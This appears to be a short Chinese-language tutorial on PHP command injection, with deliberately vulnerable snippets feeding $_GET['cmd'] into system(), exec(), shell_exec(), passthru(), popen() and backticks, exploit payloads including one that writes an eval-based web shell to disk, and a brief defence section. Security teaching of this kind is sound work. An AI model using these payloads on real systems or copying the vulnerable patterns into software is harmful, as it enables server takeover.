命令执行注入
当应用需要调用一些外部执行程序时(系统的命令 或者是
exe等可执行文件),如果将用户的输入作为系统命令的参数拼接到命令当中,可能存在命令执行漏洞。
条件
1.将用户的输入作为拼接的命令
2.无足够的过滤
危害
相关函数
system() 将 字符串 作为 OS命令 去执行,并且自带输 出功能
<?php
if(isset($_GET['cmd'])){
$str = $_GET['cmd'];
system($str);
}
?>
exec() 将 字符串 作为 OS命令 去执行,但是自身 不带输 出功能,需要 写入 输出功能的代码
<?php
if(isset($_GET['cmd'])){
$str = $_GET['cmd'];
print(exec($str);
}
?>
注意:该函数能够执行系统命令,但是返回结果是有限度的(即返回不全)
shell_exec() 不自带输出功能
<?php
if(isset($_GET['cmd'])){
$str = $_GET['cmd'];
print(shell_exec($str);
}
?>
passthru() 自带输出功能
<?php
if(isset($_GET['cmd'])){
$str = $_GET['cmd'];
passthru($str);
}
?>
popen() 可执行 OS命令,但是不能直接返回命令结果,而是返回了一个文件指针
<?php
if(isset($_GET['cmd'])){
$cmd = $_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
反引号 ``,内的字符串 会被当作 OS命令去执行
<?php
if(isset($_GET['cmd'])){
$cmd = $_GET['cmd'];
print `$cmd`;
}
?>
常用利用
查看系统文件 ?cmd=type c:\Windows\system32\drivers\etc\hosts
显示当前路径 ?cmd=cd
写文件 ?cmd=echo "<?php @eval($_POST[111]); ?>" > d:\phpstudy_pro\sql\shell.php
防御
1.可在 php.ini 中对函数进行禁用
2.对用户能够提交的命令 参数 进行过滤
3.参数值最好使用引号包裹,还可在执行之前 使用一些函数(例如:addslashes()) 对其进行转义